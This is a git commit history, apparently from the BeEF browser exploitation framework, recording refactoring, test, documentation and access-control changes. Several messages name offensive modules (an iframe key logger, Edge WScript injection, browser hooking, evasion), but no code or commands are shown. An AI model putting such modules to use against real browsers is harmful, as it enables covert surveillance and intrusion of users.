5de127a0e2 Merge pull request #1845 from beefproject/fix_broken_admin_ui_access
Fix broken admin ui access
2020-01-13 13:08:24 +10:00
Grant Burgess
d26a0fda33 Re-enabled the test as it now passes 2020-01-13 12:54:13 +10:00
Grant Burgess
a113d896e7 Cleared arguements before tests run 2020-01-13 12:53:29 +10:00
Grant Burgess
d0dced8848 Added catch to disable logging during test 2020-01-13 12:53:00 +10:00
Grant Burgess
28b5eef779 Tests to cover Admin UI access 2020-01-10 14:45:14 +10:00
Grant Burgess
a2de71c151 Added router/error_responses 2020-01-10 14:44:51 +10:00
Grant Burgess
1c4ef22947 Changed references to constants to modify easily 2020-01-10 14:43:51 +10:00
Grant Burgess
efad3c3d23 Made 404 error responses constants to use with UI 2020-01-10 14:42:35 +10:00
Grant Burgess
35876694b0 Determines the correct IP if reverse proxy enabled 2020-01-10 14:40:29 +10:00
Grant Burgess
9065fc9514 Check request IP before resolving the Admin UI 2020-01-10 14:38:06 +10:00
Grant Burgess
998c3fd8b2 Added config option that Closes #1354 2020-01-10 14:36:37 +10:00
Haoxi Tan
f5de5eb7c0 updated dns extension to use async-dns instead of old rubydns 2020-01-10 09:43:45 +10:00
Haoxi Tan
39ef3fe4f6 changed module description for iframe key logger 2020-01-10 08:23:55 +10:00
Haoxi Tan
1ff2272566 updated working browsers 2020-01-09 10:57:10 +10:00
Haoxi Tan
5db7f16eef added simplecov output 2020-01-09 08:40:18 +10:00
Haoxi Tan
ac9edf15d4 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-09 08:39:03 +10:00
Haoxi Tan
eb5feb6f4f updated module description 2020-01-09 08:38:29 +10:00
jcrew99
5de583d874 Merge pull request #1843 from beefproject/update_version_number
Update version number
2020-01-08 17:05:24 +10:00
Haoxi Tan
886787c418 changed module names from Replace HREFs to Link Rewrite for consistency 2020-01-08 16:31:23 +10:00
jcrew99
3c209fd0d9 Merge pull request #1825 from beefproject/Postman
Postman
2020-01-07 15:32:00 +10:00
Jess Williams
ea9a85ac7d Add files via upload 2020-01-07 13:04:32 +10:00
Haoxi Tan
e8dba51a21 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-07 11:59:40 +10:00
Haoxi Tan
5d7529c6c6 updated working status of OS and browsers 2020-01-07 11:59:29 +10:00
jcrew99
56ba542c05 Merge pull request #1824 from beefproject/updated_read_me
updated to show the Jsdocs
2020-01-07 11:55:04 +10:00
jcrew99
9046922c3d Merge pull request #1823 from beefproject/updated_read_me
updated the ReadMe
2020-01-07 10:07:49 +10:00
beefproject
e54517a962 Set theme jekyll-theme-minimal 2020-01-07 09:55:43 +10:00
jcrew99
442a6f8595 Merge pull request #1821 from beefproject/date_change
copyright changes to new year
2020-01-06 15:09:46 +10:00
jcrew99
c6910a71a2 Merge pull request #1817 from beefproject/SecureRandom
Use SecureRandom after update to 2.5
2020-01-03 14:41:55 +10:00
jcrew99
3702ec6fa1 Merge pull request #1818 from beefproject/active_record_fix
Active record fix
2020-01-03 14:41:11 +10:00
JessW98
fc3ed5cd16 Use SecureRandom 2020-01-02 20:13:48 -08:00
jcrew99
8e783ad2bd Merge pull request #1816 from beefproject/yaml_safe_load
Replaced yaml.load with yaml.safe_load
2020-01-03 12:56:30 +10:00
Grant Burgess
f608cacb2f Replaced yaml.load with yaml.safe_load 2020-01-03 10:40:57 +10:00
Grant Burgess
ba15644e32 Merge pull request #1815 from beefproject/remove-liveCD-dir
Removed LiveCD directory and reference in Metasploit config.yaml
2020-01-03 10:00:02 +10:00
Jack Walker
de7866dc87 Removed LiveCD directory and reference in Metasploit config.yaml 2020-01-03 09:50:55 +10:00
jcrew99
15af93c39e Merge pull request #1814 from beefproject/active_record_fix
Active record fix for the table names
2020-01-02 22:39:42 +10:00
root
4324876671 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix
pull
2020-01-02 12:12:07 +00:00
Jack Walker
b4116e7a7f Merge pull request #1813 from beefproject/jsdoc
Jsdoc
2020-01-02 16:52:41 +10:00
Grant Burgess
e9636599ac Generated JSDoc html files to host on Github Pages 2020-01-02 16:33:14 +10:00
Grant Burgess
53f2529718 Updated documentation for use with JSDoc 2020-01-02 16:32:17 +10:00
Grant Burgess
160f0c4b1c Added packages for JSDoc 2020-01-02 16:30:26 +10:00
Grant Burgess
1bdafffe2c Updated Gitignore 2020-01-02 16:29:50 +10:00
Jack Walker
7d95afef51 Merge pull request #1812 from beefproject/copyrightupdate
Update copyright information
2020-01-02 12:57:56 +10:00
beep
470b3483d0 Update copyright information 2020-01-01 18:47:08 -08:00
Grant Burgess
1e7022654e Updated .gitignore to ignore rdoc output 2019-12-31 15:36:03 +10:00
Grant Burgess
d0ea2cebe4 Added JSDoc to the project and updated .gitignore 2019-12-31 15:06:44 +10:00
root
1a8a8d9154 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix 2019-12-30 11:28:38 +00:00
root
e8e7ba26e4 updated the DNS rules 2019-12-30 11:25:25 +00:00
root
c23e78f2de updated to show the Jsdocs 2019-12-30 07:47:33 +00:00
root
7b7531f62c Didnt need to track 2019-12-30 06:10:04 +00:00
root
c89484931c Merge branch 'master' of https://github.com/beefproject/beef into reset_head
maybe
2019-12-30 06:09:36 +00:00
root
0d63b724d5 Revert "Revert "Merge pull request #1845 from beefproject/fix_broken_admin_ui_access""
This reverts commit 6a8c8d7081.

Some random outcomes causes it to break
2019-12-30 06:06:06 +00:00
root
6a8c8d7081 Revert "Merge pull request #1845 from beefproject/fix_broken_admin_ui_access"
This reverts commit 5de127a0e2, reversing
changes made to f5de5eb7c0.
2019-12-30 06:05:09 +00:00
root
d0f636cf7e updated the ReadMe 2019-12-30 05:58:33 +00:00
root
0943ee4ad3 Merge branch 'master' of https://github.com/beefproject/beef into update_version_number
updating the version number that was written over-somewhere
2019-12-30 05:49:00 +00:00
root
8627af1001 copyright changes to new year 2019-12-30 05:48:03 +00:00
root
e8c1456371 updating the version number 2019-12-30 05:48:01 +00:00
root
b597c1a4f2 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix
this is to hoefully fix one of the errors
2019-12-30 05:39:42 +00:00
root
6f34d1c807 other migrations 2019-12-30 05:38:16 +00:00
root
a8f18706b1 updated table names 2019-12-30 05:23:59 +00:00
root
66b68ac489 changes to the migrations 2019-12-29 22:31:47 +00:00
jcrew99
516b787c80 Merge pull request #1807 from sopsmattw/master
Added libcurl4-openssl-dev to apt command.
2019-12-18 12:09:14 +10:00
jcrew99
6d05f8c4ed Merge pull request #1806 from beefproject/ruby_version_upgrade
updated the version from 2.4 - 2.5
2019-12-17 14:44:36 +10:00
root
62f7e52b40 update 2.4.0 readme 2019-12-17 04:28:27 +00:00
root
bae6557b9c the 2.4.0 fix doesnt work 2019-12-17 04:19:55 +00:00
root
0bb5fc8bd4 mistake in the RVM 2019-12-17 04:15:04 +00:00
root
fdad5f459d Added 2.4.0 back 2019-12-17 04:11:49 +00:00
root
ee242441ce ACTIVE RECORD 2019-12-17 04:09:09 +00:00
root
42bb1f2d1a the travis.yml to what it was before the updage 2019-12-17 03:30:12 +00:00
root
feb57aca91 updated the version from 2.4 - 2.5 2019-12-17 01:45:16 +00:00
jcrew99
4435a02d48 Merge pull request #1804 from beefproject/version
Bump version to 0.5.0.0
2019-12-17 10:43:16 +10:00
root
9e31f7d1eb Bump version to 0.5.0.0 2019-12-17 00:40:13 +00:00
root
0b67f4c2e8 Merge branch 'activerecord' 2019-12-17 00:16:44 +00:00
root
5a05bd965e byebug and stops the auth rate limit test till fix 2019-12-13 15:33:31 +00:00
jcrew99
bc6d7dc934 Merge pull request #1799 from beefproject/test
Tests for the linear run
2019-12-10 13:44:27 +10:00
Centos 7 beef VM
7043212a58 updated the gitignore and stop the random tests 2019-12-09 19:29:12 -08:00
jcrew99
3273513e9d Merge pull request #1798 from beefproject/test1
the changes make one of the tests clean up after itself properly
2019-12-09 14:12:10 +10:00
jcrew99
ae70388da3 Merge pull request #1791 from beefproject/jcrew99-build_test
Update .travis.yml
2019-12-09 14:11:18 +10:00
Centos 7 beef VM
4db3853535 the changes made 2019-12-06 00:46:59 -08:00
jcrew99
3c809a785d Merge pull request #1796 from h4sh5/master
Fixing random fails in auth_rate_spec.rb
2019-12-06 13:20:06 +10:00
Haoxi Tan
9a6b410aaa beef.log and byebug history 2019-12-06 12:11:23 +10:00
Haoxi Tan
b4013bb74b beef.log and byebug history 2019-12-06 12:10:56 +10:00
Haoxi Tan
a4139d6e60 fixed randomly failing bug in auth_rate_spec.rb 2019-12-06 12:09:28 +10:00
Haoxi Tan
a397b67148 - fixed randomly failing bug in auth_rate_spec.rb
- added beef.log and .byebug_history in .gitignore
2019-12-06 12:07:29 +10:00
Centos 7 beef VM
42b5a4fe58 should kill the issues with dns 2019-12-05 10:22:35 -08:00
Centos 7 beef VM
b5e5689eca config order for random, but deterministic tests 2019-12-04 20:54:15 -08:00
jcrew99
dff44bc865 Merge pull request #1793 from beefproject/jcrew99-remove-the-ruby-racer
remove the rubyracer again
2019-12-03 16:35:27 +10:00
jcrew99
6594aa0b03 remove the rubyracer again
This was introduced again and this is just removing it
2019-12-03 16:32:38 +10:00
jcrew99
750c41cca8 Merge pull request #1786 from erwanlr/master
WordPress Fixes and Improvements
2019-12-03 15:53:19 +10:00
jcrew99
c56ca60241 Update .travis.yml
Im updating the ruby version for 2.5.0 to 2.5.3 for the build tests
2019-12-03 14:43:42 +10:00
root
cc08bb56f2 explain a possible error with API test 2019-12-02 04:50:52 +00:00
Ben Passmore
f5a4671550 Added beef.log to .gitignore 2019-11-30 15:27:17 +10:00
Ben Passmore
52f091fd21 Fixed up rspec tests for AR 2019-11-30 15:26:48 +10:00
Ben Passmore
6a208245ed Updated modules for AR 2019-11-30 15:24:07 +10:00
Ben Passmore
8ca7e2135c Updated xssrays for AR 2019-11-30 15:23:27 +10:00
Ben Passmore
173d55714a Updated webrtc for AR 2019-11-30 15:22:41 +10:00
Ben Passmore
502a52452c Updated social_engineering for AR 2019-11-30 15:21:50 +10:00
Ben Passmore
b89fbd9268 Updated requester for AR 2019-11-30 15:21:11 +10:00
Ben Passmore
7c2a56945c Updated proxy for AR 2019-11-30 15:20:03 +10:00
Ben Passmore
97ab3625f5 Updated network for AR 2019-11-30 15:19:40 +10:00
Ben Passmore
8b244c6f58 Updated metasploit for AR 2019-11-30 15:18:49 +10:00
Ben Passmore
3950e934a6 Updated ipec for AR 2019-11-30 15:18:19 +10:00
Ben Passmore
0f74b6faf2 Updated events for AR 2019-11-30 15:17:32 +10:00
Ben Passmore
ea9c281804 Updated dns for AR 2019-11-30 15:17:11 +10:00
Ben Passmore
36336e4c5f Updated console for AR 2019-11-30 15:13:56 +10:00
Ben Passmore
7462dea1e0 Updated autoloader for AR 2019-11-30 15:13:19 +10:00
Ben Passmore
f83add866e Added new migrations for extensions 2019-11-30 15:12:49 +10:00
Jess
3959d2c8bb syntax changes 2019-11-14 22:10:00 -08:00
Jess
9b5c8e39df Syntax changes 2019-11-14 22:09:44 -08:00
Ben Passmore
87b8093504 Corrected command execution. 2019-11-08 08:03:35 +10:00
Ben Passmore
eff7b99393 AR convert admin_ui 2019-11-03 08:09:18 +10:00
Ben Passmore
b88774cdbf AR convert autorun 2019-11-03 08:08:22 +10:00
Ben Passmore
58447e4007 AR convert rest components 2019-11-03 08:06:43 +10:00
Ben Passmore
fce763e9f3 AR covert websocket 2019-11-03 08:04:38 +10:00
Ben Passmore
3068fbead5 AR convert handlers 2019-11-03 08:03:56 +10:00
Ben Passmore
96e4063e2a AR corrected models 2019-11-03 08:02:52 +10:00
Ben Passmore
8cbae6a830 Cast print error to string when there are cases it recieves stack traces 2019-11-03 08:01:54 +10:00
Ben Passmore
66bec03158 AR convert logger 2019-11-03 08:01:15 +10:00
Ben Passmore
557452b95d AR convert module loader 2019-11-03 08:00:51 +10:00
Ben Passmore
91332844c8 AR convert crypto 2019-11-03 08:00:29 +10:00
Ben Passmore
88c488969e AR convert command 2019-11-03 07:59:59 +10:00
Ben Passmore
80bfc21516 AR convert hbmanager 2019-11-03 07:59:34 +10:00
Ben Passmore
aac1b0bc10 Added command references 2019-11-02 08:26:41 +10:00
Ben Passmore
d1d5d1d648 Fixes #1731, Fixes #1629. Corrected params overloading causing parsing
errors.
2019-11-02 08:24:39 +10:00
Ben Passmore
c85e3c01b5 Upgraded to latest version of gems 2019-11-02 08:21:49 +10:00
erwanlr
7841f55166 WP - Displays Auth Key when plugin successfuly installed and activated 2019-10-27 11:11:36 +01:00
erwanlr
12e5f51721 Removes test wp_path 2019-10-27 00:11:17 +02:00
erwanlr
b6d338d334 WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly 2019-10-27 00:09:39 +02:00
erwanlr
151976176a Adds missing author in module (previous commit) 2019-10-26 14:28:06 +02:00
erwanlr
2f71b35f7b Fixes & Improves & Adds WordPress stuff 2019-10-26 14:19:18 +02:00
Ben Passmore
5bfd1e54df Added autorun model migrations 2019-10-09 10:04:17 +10:00
Ben Passmore
0574bdf002 Moved autorun models to active record core models 2019-10-09 10:03:27 +10:00
Ben Passmore
91265cad77 Updated migrations to use ActiveRecord 2019-10-08 16:18:21 +10:00
Ben Passmore
21d0906c12 Changed ./beef to use ActiveRecord 2019-10-08 16:17:48 +10:00
Ben Passmore
d588c56391 Refactored models to use ActiveRecord 2019-10-08 16:15:55 +10:00
Ben Passmore
4cecca4075 Allow usage of connection management 2019-10-08 16:14:46 +10:00
Ben Passmore
9babcba7c3 Fixed loaders 2019-10-08 16:14:09 +10:00
Ben Passmore
405241c5d0 Added base model 2019-10-08 16:13:36 +10:00
Ben Passmore
0cd8878a3f Added migrations 2019-10-08 16:13:12 +10:00
Ben Passmore
06d1ba7754 Reverted config to sqlite only 2019-10-08 16:12:53 +10:00
Ben Passmore
704e675edf Removed datamapper for otr-activerecord 2019-10-08 16:10:00 +10:00
Ben Passmore
d6972adfcb Reworked travis and build issues with new rspec tests 2019-09-26 16:20:15 +10:00
Ben Passmore
ba3183ef38 Merge branch 'rspec-conversion'
* Converted tests to rspec for future releases + travis integration.
* Files remaining in test/ are integrations that require verification if they are still relevant/working.
2019-09-26 13:42:50 +10:00
Ben Passmore
0b0e7840fc Removed test files no longer required by respec 2019-09-26 13:35:59 +10:00
jcrew99
3de78156c2 Merge pull request #1773 from beefproject/raketest
Raketest
2019-09-20 18:17:19 +10:00
root
0531cdf745 config 2019-09-20 08:16:16 +00:00
root
d8f838980f changed the travis back 2019-09-20 08:11:39 +00:00
root
731527e259 changing back the gem and test plus travis 2019-09-20 07:58:21 +00:00
root
ad3927485c should force a fail 2019-09-20 07:37:59 +00:00
root
a35d0eae5e trying to get the .travis to error 2019-09-20 07:22:49 +00:00
jcrew99
dd336fa8a2 Merge pull request #1769 from beefproject/raketest
putting the file in the gemset instead
2019-09-20 17:21:38 +10:00
root
ce6d261c05 putting the file in the gemset instead 2019-09-20 07:07:36 +00:00
jcrew99
6b34f1ea3a Merge pull request #1768 from beefproject/raketest
testing the rake
2019-09-20 17:07:14 +10:00
root
c2f9922920 updated rakefile change 2019-09-20 06:55:30 +00:00
root
fb168f7480 testing the rake 2019-09-20 06:44:36 +00:00
jcrew99
a777be1254 Merge pull request #1767 from beefproject/raketest
adding a catch to a possible ruby bug
2019-09-20 16:43:32 +10:00
root
31aae8fdaf adding a catch to a possible ruby bug 2019-09-20 06:29:10 +00:00
root
060ed96c7f changed the default task to quick 2019-09-20 05:40:54 +00:00
root
43dd97fe72 change the default task 2019-09-20 05:20:18 +00:00
root
625e4ce386 checked the stage 2019-09-20 04:39:44 +00:00
root
042713f257 testing the .travis 2019-09-20 04:38:16 +00:00
jcrew99
3df5afc930 Merge pull request #1764 from beefproject/default_Yaml_creds
Default yaml creds
2019-09-20 14:31:23 +10:00
root
61f0363859 gave it a proper output 2019-09-20 04:12:28 +00:00
root
de8eb60370 changed so it checks the config for P/U 2019-09-20 04:00:30 +00:00
jcrew99
b238595a2c Merge pull request #1721 from aussieklutz/master
Update selenium dependency to selenium-webdriver
2019-09-17 09:14:27 +10:00
garysteak
a2151e77ad Merge pull request #1761 from beefproject/google-verify
Google verify file
2019-08-30 11:56:50 +10:00
garysteak
dc8d59f000 Google verify file
In order to review blacklisting of repo
2019-08-30 11:48:29 +10:00
Brendan Coles
494650923e Bump nokogiri gem version to >= 1.10.4 2019-08-21 06:26:44 +00:00
Ben Passmore
d1cb59a728 Pulled api rate limit test to rspec 2019-08-18 13:46:20 +10:00
Ben Passmore
10cd685007 Corrected bug when notifications extension not present 2019-08-18 13:44:05 +10:00
Ben Passmore
d8885ef51e Changed port numbers for specs.
Sometimes BeEF is a little too slow at
shutting down before next spec begins,
causing port conflicts.
2019-08-18 13:42:35 +10:00
Ben Passmore
5e18495b33 Removed color methods used in rainbow gem.
Currently broken due to issue: https://github.com/sickill/rainbow/issues/82
2019-07-31 19:13:28 +10:00
Brendan Coles
86f4697765 Merge branch 'master' of https://github.com/beefproject/beef 2019-07-21 22:07:18 +00:00
Brendan Coles
c2d82ace7d Remove CoinHive module 2019-07-21 22:06:57 +00:00
bcoles
6ca6054c68 Merge pull request #1736 from StevenWilliams/patch-1
Fixed OpenStreetMap
2019-07-22 07:53:28 +10:00
Brendan Coles
b0732f21e6 Add Hook Microsoft Edge module 2019-07-20 15:55:09 +00:00
Steven Williams
1867a69311 Fixed OpenStreetMap
Changed url from http to https, as it was getting blocked by Chrome in https sites. Added dataType "json", parseJSON not required so got rid of it. Changed format from json to jsonv2, as OSM was not sending a content type header in "json" but does send an "application/json" header in jsonv2, this fixes Cross Origin Read Blocking in Chrome (https://www.chromestatus.com/feature/5629709824032768).
2019-06-02 19:47:32 -06:00
Brendan Coles
07cc6f9542 Bump version to 0.4.7.4-alpha-pre 2019-05-05 14:40:50 +00:00
Brendan Coles
7df8888505 Bump version to 0.4.7.3-alpha 2019-05-05 14:37:34 +00:00
Brendan Coles
3ea946ed19 Update module config to user_notify 2019-05-05 14:30:58 +00:00
Brendan Coles
a62e502fce Remote Get Physical Location module 2019-05-05 12:18:41 +00:00
Brendan Coles
dab4288501 Fix Get System Info (Java) - Fix #1725 2019-05-05 11:46:36 +00:00
Brendan Coles
367e91b095 Bump version to 0.4.7.3-alpha-pre 2019-05-04 22:50:38 +00:00
Brendan Coles
a6cce27518 Bump version to 0.4.7.2-alpha 2019-05-04 22:48:26 +00:00
aussieklutz
b8fe5f1b80 Replace selenium with selenium-webdriver
Update Session.new calls with headless firefox (:selenium_headless) module
2019-05-02 09:55:01 +10:00
aussieklutz
64d5638a81 Replace selenium with selenium-webdriver
Replace gem require
2019-05-02 09:51:24 +10:00
aussieklutz
5eb3b686f1 Replace selenium with selenium-webdriver gem
Replace gem require + update Session.new calls with headless firefox (:selenium_headless) module
2019-05-02 09:49:21 +10:00
aussieklutz
639d14c682 Switching to current selenium-webdriver for tests
Disabling selenium and adding geckodriver-helper and selenium webdriver for the current version of selenium.
2019-05-02 08:50:43 +10:00
root
0b740d6c81 Added libcurl4-openssl-dev to apt command. curb fails to build when
running bundle install
2019-04-21 09:01:40 -06:00
Ben Passmore
7c5a5b4df4 Converted unit tests, further work required 2019-04-17 10:48:04 +10:00
Brendan Coles
4396547cdd Use navigator.language 2019-03-31 00:47:48 +00:00
Brendan Coles
c385b1a352 Add Edge WScript WSH Injection module 2019-03-30 00:18:59 +00:00
Brendan Coles
a103ca3f30 Rename get_internal_ip to get_internal_ip_java 2019-03-24 22:55:49 +00:00
Brendan Coles
0ed6c3866e Set Firefox extension modules max version 56 2019-03-24 21:10:39 +00:00
bcoles
355cb38593 Fix undeclared variable in initialize error handling 2019-03-23 17:44:42 +11:00
bcoles
35b3505bf8 Add supported systems to module description 2019-03-23 01:06:11 +11:00
Brendan Coles
654cf5427f Update beefbind msf modules for msf4+ 2019-03-16 01:49:45 +00:00
Brendan Coles
1cc3136421 Move beef.db back to BeEF root directory 2019-03-13 23:38:54 +00:00
bcoles
20e61d9e81 Merge pull request #1705 from jeschneiderhan/je-case-insensitive-headers
proxy:ignore case when ignoring headers
2019-03-13 07:44:49 +11:00
Jon-Erik Schneiderhan
99b54583cc proxy:ignore case when ignoring headers 2019-03-12 14:18:18 -04:00
Brendan Coles
46d82dc8b8 Fix load order 2019-03-06 07:24:01 +00:00
Brendan Coles
d698b6a0ba Add support for multiple permitted hooking/ui subnets - #1319 2019-03-03 21:14:39 +00:00
Brendan Coles
8e7522b1b1 Add next steps to installer 2019-03-03 20:38:04 +00:00
bcoles
6052ec99da Merge pull request #1699 from bcoles/logger
Add logger - Fixes #1698
2019-03-04 07:18:09 +11:00
Brendan Coles
13c539effe Add logger - Fixes #1698 2019-03-03 20:20:37 +00:00
bcoles
39aa3fdeea Merge pull request #1697 from jesusdanielcf/master
Excluding BUILD_ID while getting the distro ID
2019-03-04 01:03:02 +11:00
Jesus Cuesta
00dca685c1 Excluding BUILD_ID while getting the distro ID 2019-03-03 13:39:17 +01:00
Brendan Coles
f24a25f6b1 Remove dm-do-adapter monkey patch 2019-03-02 06:47:34 +00:00
Brendan Coles
2fa56c419f Bump version to 0.4.7.2-alpha-pre 2019-03-01 22:41:57 +00:00
Brendan Coles
2d23692fd6 BeEF version 0.4.7.1-alpha 2019-02-27 15:55:28 +00:00
Brendan Coles
a79c8b26b5 Fix detection for IE9/10, Edge, and plugins 2019-02-27 10:08:14 +00:00
Brendan Coles
4e31752626 Add platformjs to hook 2019-02-27 06:46:21 +00:00
bcoles
bc0b57c6f4 Merge pull request #1693 from bcoles/browser_details_oid_keyvalues
Update BrowserDetails to store textual OID-style key/value data
2019-02-27 02:28:02 +11:00
Brendan Coles
03424c804e Update BrowserDetails to store textual OID-style key/value data 2019-02-26 15:22:54 +00:00
Brendan Coles
25988d1728 Update html2canvas 2019-02-26 03:27:26 +00:00
Brendan Coles
1ebffcc2b6 Evasion: remove beef.debug calls unless beef.client_debug true 2019-02-26 03:17:25 +00:00
Brendan Coles
eba4804185 rm modules/host/detect_vm/ 2019-02-26 03:15:54 +00:00
Brendan Coles
eb840a0a6a rm core/main/models/user.rb 2019-02-26 03:15:15 +00:00
Brendan Coles
64c2c5e01b Add beef.hardware.getGpuDetails function 2019-02-25 15:58:21 +00:00
Brendan Coles
41cfeedc9a Replace $jwterm.ajax with jQuery.ajax 2019-02-25 13:59:03 +00:00
Brendan Coles
f707bf66f3 rubocop extensions/network 2019-02-25 10:29:46 +00:00
Brendan Coles
205921b1a2 rubocop extensions/demos 2019-02-25 10:29:39 +00:00
Brendan Coles
c689884a24 Move to_h methods to models 2019-02-25 09:38:16 +00:00
Brendan Coles
449f36cd70 Add .rubocop.yml 2019-02-25 09:37:30 +00:00
Brendan Coles
c40c29dd35 AdminUI: Allow linking directly to browser #1003 2019-02-24 11:13:41 +00:00
Brendan Coles
503965c193 Add warning to delete zombie context menu 2019-02-24 07:41:53 +00:00
Brendan Coles
09f028c02d AdminUI: do not minify visjs.min.js 2019-02-24 06:52:27 +00:00
bcoles
9b19c5948e Merge pull request #1691 from bcoles/master
Make zombie context menus dynamic
2019-02-24 17:27:50 +11:00
Brendan Coles
f29dca2304 Make zombie context menus dynamic 2019-02-24 06:36:36 +00:00
bcoles
b997e96fc7 Merge pull request #1690 from bcoles/admin_ui
Clean up Admin UI
2019-02-23 23:32:26 +11:00
Brendan Coles
5320dbc7fb Clean up Admin UI 2019-02-23 12:21:12 +00:00
Brendan Coles
8b5e4abed3 rm extensions/evasion/helper.rb 2019-02-23 01:10:25 +00:00
Brendan Coles
eb3ebba17f Cleanup evasion extension; disable scramble obfuscation 2019-02-22 16:02:02 +00:00
Brendan Coles
54f9683e84 rm core/main/client/lib/json2-2001-02-23.js 2019-02-22 12:33:11 +00:00
Brendan Coles
fc5f1c5afc Bump Ruby version from 2.5.1 to 2.5.3 2019-02-21 11:40:19 +00:00
Brendan Coles
41e5d1d0c0 Cleanup WebSocket code 2019-02-21 11:31:41 +00:00
bcoles
03624ba706 Merge pull request #1687 from bcoles/requester_rest
Replace /ui/requester controller with REST API - #1389 #1388
2019-02-21 09:55:14 +11:00
Brendan Coles
7f41c2b495 Replace /ui/requester controller with REST API - #1389 #1388 2019-02-20 22:57:45 +00:00
bcoles
2457df686a Merge pull request #1686 from bcoles/xssrays_rest
Replace /ui/xssrays controller with REST API - #1389 #1682
2019-02-20 20:35:04 +11:00
Brendan Coles
1cf1354bc6 Replace /ui/xssrays controller with REST API - #1389 #1682 2019-02-20 09:39:48 +00:00
Brendan Coles
b08d106756 Add check for WebGL 2019-02-20 06:34:02 +00:00
Brendan Coles
512abb889a Update FingerprintJS2 lib 2019-02-20 06:33:15 +00:00
bcoles
857185faaa Merge pull request #1684 from bcoles/xssrays
Add XssRays API endpoints
2019-02-18 02:52:40 +11:00
Brendan Coles
42de9a01f6 Add XssRays API endpoints 2019-02-17 15:58:44 +00:00
Brendan Coles
3aa8d770f4 Don't rescue from block 2019-02-17 13:38:09 +00:00
bcoles
aab84a13ce Merge pull request #1683 from bcoles/network_extension
Remove dm-serialize requirement
2019-02-17 23:19:50 +11:00
Brendan Coles
0e4453c4c6 Remove dm-serialize requirement 2019-02-17 12:22:23 +00:00
Brendan Coles
9bb33c620e Fix XssRays unit tests 2019-02-17 10:11:05 +00:00
Brendan Coles
4b3618528e Use beef.debug for XSSrays debugging 2019-02-17 09:33:53 +00:00
Brendan Coles
3932d3dcc1 Remove unused demo_path option 2019-02-17 08:58:44 +00:00
Brendan Coles
fe10107bba Fix Create Invisible Iframe module 2019-02-17 08:40:20 +00:00
Brendan Coles
568f6ec35d Minor updates to Admin UI HTML 2019-02-17 08:19:19 +00:00
bcoles
7c81f50c12 Merge pull request #1681 from bcoles/master
Uncomment beef_init
2019-02-17 18:32:15 +11:00
Brendan Coles
82094c6f5c Uncomment beef_init 2019-02-17 07:38:25 +00:00
Ben Passmore
e8bb0cfd3e Modified travis email notifications 2019-02-17 16:32:33 +10:00
bcoles
6a31e0484c Merge pull request #1679 from bcoles/update_geoipdb
Add update-geoipdb script
2019-02-17 16:33:24 +11:00
Brendan Coles
b46472ada6 Add update-geoipdb script 2019-02-17 05:42:45 +00:00
bcoles
1583a10a5a Merge pull request #1678 from bcoles/decouple_admin_ui_basepath
Decouple Admin UI `base_path`
2019-02-17 15:48:39 +11:00
Brendan Coles
9c9119f9cd Move option http.web_ui_basepath to extension.admin_ui.base_path 2019-02-17 04:54:26 +00:00
Brendan Coles
6911842e67 Add BeEF logo to demos extension 2019-02-17 04:40:12 +00:00
Brendan Coles
4a38682212 chmod -x 2019-02-17 04:39:51 +00:00
Brendan Coles
47ae0436a3 Remove unused checkJava from demo 2019-02-17 04:37:59 +00:00
Brendan Coles
027e312f30 Allow print_more to print Array 2019-02-17 04:37:12 +00:00
Brendan Coles
faafe7d68d Rename DataGrid to LogsDataGrid 2019-02-16 14:38:06 +00:00
Brendan Coles
f594c6c217 Replace /ui/logs controller with REST API - #1389 2019-02-16 14:31:18 +00:00
Brendan Coles
1b173e4b98 Replace /proxy controller with REST API - #1389 2019-02-16 13:57:52 +00:00
Brendan Coles
64c12bd83b Update default certificate 2019-02-16 13:51:26 +00:00
Brendan Coles
138b5d9eb0 Add /api/server/mounts API endpoint 2019-02-16 13:20:41 +00:00
Brendan Coles
4dd7230c40 cleanup 2019-02-16 12:54:09 +00:00
Brendan Coles
f0310b34d9 require 'msgpack' 2019-02-16 10:30:41 +00:00
Brendan Coles
5a7fe2be0e Update style 2019-02-16 10:29:52 +00:00
Brendan Coles
214e5b977f Ensure Rack errors are not swallowed silently 2019-02-16 04:32:41 +00:00
Brendan Coles
beaf4d127d Check Gemfile.lock is writable 2019-02-16 03:26:27 +00:00
Brendan Coles
c3e8ca837a Add missing ZombieDataGrid.js 2019-02-15 13:54:47 +00:00
bcoles
53798e8fc4 Remove Gemfile.lock before installing Gems 2019-02-16 00:28:24 +11:00
bcoles
0b0c404728 Merge pull request #1674 from bcoles/zombies_tab
Add Zombies tab to main panel
2019-02-16 00:25:53 +11:00
Brendan Coles
ad186a56de Add Zombies tab to main panel 2019-02-15 13:33:36 +00:00
bcoles
9e22c02b0b Merge pull request #1673 from bcoles/decouple_demos
Decouple demos
2019-02-15 20:55:34 +11:00
Brendan Coles
af33006c69 Use hook path rather than demo page 2019-02-15 10:08:55 +00:00
Brendan Coles
0cc68dc684 Remove debug/test_http_bind_raw module 2019-02-15 09:58:40 +00:00
bcoles
30833de5d2 Merge pull request #1671 from bcoles/geoip-flags
Add SVG flag icons for GeoIP
2019-02-11 01:13:13 +11:00
Brendan Coles
168984f876 Add SVG flag icons for GeoIP 2019-02-10 14:20:58 +00:00
Brendan Coles
a9bcaf3e22 Add rubygems check to install script 2019-02-10 13:18:33 +00:00
bcoles
f5ae6e90d5 Merge pull request #1670 from bcoles/geoip
Update GeoIP to use MaxMind GeoLite2
2019-02-10 23:48:57 +11:00
Brendan Coles
46885fb681 Update GeoIP to use MaxMind GeoLite2 2019-02-10 12:53:29 +00:00
Brendan Coles
c4a324c80f Update documentation 2019-02-10 10:53:03 +00:00
Brendan Coles
f48acc3708 Bump minimum required Ruby version from 2.3+ to 2.4+ 2019-02-10 10:43:11 +00:00
Brendan Coles
4ce319b447 Fix icon size 2019-02-10 10:38:36 +00:00
Brendan Coles
e090b22656 Move new_zombie.mp3 to AdminUI extension - #1240 2019-02-10 10:32:12 +00:00
Brendan Coles
cb2e8b6681 Rescue from failed database reset 2019-02-10 08:45:36 +00:00
Brendan Coles
ee68811e62 Add support for Firefox 59-99 2019-02-10 08:35:21 +00:00
Brendan Coles
be6149ae6c Add Ruby 2.6.0 to Travis config 2019-02-10 08:28:15 +00:00
Brendan Coles
